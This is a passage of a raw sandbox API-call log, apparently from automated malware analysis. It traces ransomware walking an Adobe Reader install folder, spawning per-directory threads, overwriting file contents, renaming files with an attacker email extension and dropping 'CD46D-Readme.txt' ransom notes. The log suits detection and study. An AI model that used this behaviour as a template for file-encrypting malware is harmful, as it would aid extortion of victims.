RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0xeff104a [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x2218a405 [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x26afe6af [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x80ddb76 [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x7210da8d [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x342053ed [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0xe6533 [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x6c1679cf [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x2abcd477 [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x4c54be87 [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0xccb8f6a [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x71ba508 [0058.079] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x47a1c770 [0058.079] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x394cbff [0058.079] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x156b36fe [0058.079] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x40a36a92 [0058.079] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x49b3d3b [0058.079] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x43b14610 [0058.079] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x779e2b0a [0058.079] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x3a51a7ad [0058.090] ReadFile (in: hFile=0xe94, lpBuffer=0x196ab178, nNumberOfBytesToRead=0x43b7, lpNumberOfBytesRead=0x78ffe1c, lpOverlapped=0x0 | out: lpBuffer=0x196ab178*, lpNumberOfBytesRead=0x78ffe1c*=0x43b7, lpOverlapped=0x0) returned 1 [0058.092] SetFilePointerEx (in: hFile=0xe94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.092] WriteFile (in: hFile=0xe94, lpBuffer=0x12d7e1a8*, nNumberOfBytesToWrite=0x43b7, lpNumberOfBytesWritten=0x78ffe18, lpOverlapped=0x0 | out: lpBuffer=0x12d7e1a8*, lpNumberOfBytesWritten=0x78ffe18*=0x43b7, lpOverlapped=0x0) returned 1 [0059.275] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf140 [0059.275] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf168 [0059.275] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf168) returned 1 [0059.275] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7e1a8) returned 1 [0059.275] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196ab178) returned 1 [0059.275] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0059.275] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c168) returned 1 [0059.275] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x97ced50 [0059.276] SetFilePointerEx (in: hFile=0xe94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.276] WriteFile (in: hFile=0xe94, lpBuffer=0x12d7c850*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x78ffe80, lpOverlapped=0x0 | out: lpBuffer=0x12d7c850*, lpNumberOfBytesWritten=0x78ffe80*=0x10b, lpOverlapped=0x0) returned 1 [0061.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c850) returned 1 [0061.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cec60) returned 1 [0061.608] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf168) returned 1 [0061.608] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ced50) returned 1 [0061.608] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf140) returned 1 [0061.608] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428e60) returned 1 [0061.608] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428fc8) returned 1 [0061.608] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428fa0) returned 1 [0061.608] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e02120 [0061.608] wcscpy (in: _Dest=0x5e02120, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" [0061.608] wcscat (in: _Dest=0x5e02120, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm.mailto[2Hamlampampom@cock.li].cd46d" [0061.608] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x78ffe38, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.608] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40db20 [0061.612] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40db20) returned 1 [0061.612] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e21d60) returned 1 [0061.612] NtQueryInformationFile (in: FileHandle=0xe94, IoStatusBlock=0x78ffe44, FileInformation=0x78ffe1c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x78ffe44, FileInformation=0x78ffe1c) returned 0x0 [0061.612] NtSetInformationFile (FileHandle=0xe94, IoStatusBlock=0x78ffe44, FileInformation=0x78ffe1c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.613] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02120) returned 1 [0061.613] FlushFileBuffers (hFile=0xe94) returned 1 [0062.202] CloseHandle (hObject=0xe94) returned 1 [0062.703] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e08f98 [0062.703] wcscpy (in: _Dest=0x12e08f98, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0062.703] wcscat (in: _Dest=0x12e08f98, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" [0062.703] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\cd46d-readme.txt")) returned 0x20 [0063.430] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08f98) returned 1 [0063.430] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45878) returned 1 Thread: id = 387 os_tid = 0xcf0 [0048.678] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm")) returned 0x20 [0051.185] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm", dwFileAttributes=0x20) returned 1 [0052.664] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xc60 [0052.665] GetFileSizeEx (in: hFile=0xc60, lpFileSize=0x2f2f74c | out: lpFileSize=0x2f2f74c*=18837) returned 1 [0052.665] SetFilePointerEx (in: hFile=0xc60, liDistanceToMove=0x4991, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.665] ReadFile (in: hFile=0xc60, lpBuffer=0x2f2f6d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f2f6cc, lpOverlapped=0x0 | out: lpBuffer=0x2f2f6d0*, lpNumberOfBytesRead=0x2f2f6cc*=0x4, lpOverlapped=0x0) returned 1 [0052.680] SetFilePointerEx (in: hFile=0xc60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.681] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9440 [0052.681] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e96c0 [0052.681] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9738 [0052.681] NtQuerySystemTime (in: CurrentTime=0x2f2f6ac | out: CurrentTime=0x2f2f6ac*=132174898166580000) returned 0x0 [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x26007140 [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x5336ea6a [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x3dc6f31c [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x4f681cb1 [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x4205f9e2 [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x7c35212f [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x33f2a3f7 [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x6975ad93 [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x14caba55 [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x212496b0 [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x6535ac4f [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x6bbbcf6b [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x4d505e17 [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x283bd08a [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x3efa74ce [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x4358fa0a [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x5b3dc0ca [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x66aa26f8 [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x7a28048a [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x10fb20a9 [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x6db18db9 [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x79f8be06 [0052.681] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0xffe3e5e [0052.682] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x2eb739f1 [0052.682] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x41e82224 [0052.682] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x3ce38cd2 [0052.682] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x6db83c10 [0052.682] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x7135cdae [0052.682] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0xbbcbe0b [0052.682] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x1570327d [0052.682] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x52b4bdbb [0052.682] RtlRandomEx (in: Seed=0x2f2f6b8 | out: Seed=0x2f2f6b8) returned 0x6e6a35fb [0052.695] ReadFile (in: hFile=0xc60, lpBuffer=0x1958b8c0, nNumberOfBytesToRead=0x4995, lpNumberOfBytesRead=0x2f2f6a8, lpOverlapped=0x0 | out: lpBuffer=0x1958b8c0*, lpNumberOfBytesRead=0x2f2f6a8*=0x4995, lpOverlapped=0x0) returned 1 [0052.696] SetFilePointerEx (in: hFile=0xc60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.696] WriteFile (in: hFile=0xc60, lpBuffer=0x195980c8*, nNumberOfBytesToWrite=0x4995, lpNumberOfBytesWritten=0x2f2f6a4, lpOverlapped=0x0 | out: lpBuffer=0x195980c8*, lpNumberOfBytesWritten=0x2f2f6a4*=0x4995, lpOverlapped=0x0) returned 1 [0057.718] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428ca8 [0057.718] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428c80 [0057.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428c80) returned 1 [0057.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x195980c8) returned 1 [0057.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1958b8c0) returned 1 [0057.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437490) returned 1 [0057.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bf70) returned 1 [0057.718] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x4088c0 [0057.718] SetFilePointerEx (in: hFile=0xc60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.718] WriteFile (in: hFile=0xc60, lpBuffer=0x12d7c1c0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x2f2f70c, lpOverlapped=0x0 | out: lpBuffer=0x12d7c1c0*, lpNumberOfBytesWritten=0x2f2f70c*=0x10b, lpOverlapped=0x0) returned 1 [0058.447] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c1c0) returned 1 [0058.447] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce8a0) returned 1 [0058.447] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428c80) returned 1 [0058.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4088c0) returned 1 [0058.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428ca8) returned 1 [0058.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e96c0) returned 1 [0058.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9760) returned 1 [0058.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9788) returned 1 [0058.448] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e027e0 [0058.448] wcscpy (in: _Dest=0x5e027e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" [0058.448] wcscat (in: _Dest=0x5e027e0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm.mailto[2Hamlampampom@cock.li].cd46d" [0058.448] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x2f2f6c4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0058.448] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40d970 [0058.487] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d970) returned 1 [0058.487] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1e3d8) returned 1 [0058.487] NtQueryInformationFile (in: FileHandle=0xc60, IoStatusBlock=0x2f2f6d0, FileInformation=0x2f2f6a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f2f6d0, FileInformation=0x2f2f6a8) returned 0x0 [0058.487] NtSetInformationFile (FileHandle=0xc60, IoStatusBlock=0x2f2f6d0, FileInformation=0x2f2f6a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0058.510] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e027e0) returned 1 [0058.510] FlushFileBuffers (hFile=0xc60) returned 1 [0062.193] CloseHandle (hObject=0xc60) returned 1 [0062.629] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400298 [0062.629] wcscpy (in: _Dest=0x400298, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0062.629] wcscat (in: _Dest=0x400298, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" [0062.629] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\cd46d-readme.txt")) returned 0xffffffff [0062.629] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x650 [0063.421] WriteFile (in: hFile=0x650, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x2f2f6cc, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x2f2f6cc*=0x6fd, lpOverlapped=0x0) returned 1 [0063.422] CloseHandle (hObject=0x650) returned 1 [0063.422] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400298) returned 1 [0063.422] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45f08) returned 1 Thread: id = 388 os_tid = 0xcf4 [0048.841] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x421268 [0048.841] wcscpy (in: _Dest=0x421268, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0048.841] wcscat (in: _Dest=0x421268, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\" [0048.841] wcscat (in: _Dest=0x421268, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\*" [0048.841] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x486cc0 [0048.841] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\*", lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440620 [0060.774] wcscmp (_String1=".", _String2=".") returned 0 [0060.775] FindNextFileW (in: hFindFile=0x440620, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.775] wcscmp (_String1="..", _String2=".") returned 1 [0060.775] wcscmp (_String1="..", _String2="..") returned 0 [0060.775] FindNextFileW (in: hFindFile=0x440620, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CIDFont", cAlternateFileName="")) returned 1 [0060.775] wcscmp (_String1="CIDFont", _String2=".") returned 1 [0060.775] wcscmp (_String1="CIDFont", _String2="..") returned 1 [0060.775] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45f2b8 [0060.775] wcscpy (in: _Dest=0x45f2b8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0060.775] wcscat (in: _Dest=0x45f2b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\" [0060.775] wcscat (in: _Dest=0x45f2b8, _Source="CIDFont" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" [0067.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x45f2b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754 [0067.029] FindNextFileW (in: hFindFile=0x440620, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMap", cAlternateFileName="")) returned 1 [0067.029] wcscmp (_String1="CMap", _String2=".") returned 1 [0067.029] wcscmp (_String1="CMap", _String2="..") returned 1 [0067.030] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5ed5508 [0067.030] wcscpy (in: _Dest=0x5ed5508, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0067.030] wcscat (in: _Dest=0x5ed5508, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\" [0067.030] wcscat (in: _Dest=0x5ed5508, _Source="CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0067.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ed5508, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa8c [0067.031] FindNextFileW (in: hFindFile=0x440620, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENUtxt.pdf", cAlternateFileName="")) returned 1 [0067.031] wcscmp (_String1="ENUtxt.pdf", _String2=".") returned 1 [0067.031] wcscmp (_String1="ENUtxt.pdf", _String2="..") returned 1 [0067.031] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x446c38 [0067.031] wcscpy (in: _Dest=0x446c38, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0067.031] wcscat (in: _Dest=0x446c38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\" [0067.031] wcscat (in: _Dest=0x446c38, _Source="ENUtxt.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf" [0067.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446c38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa88 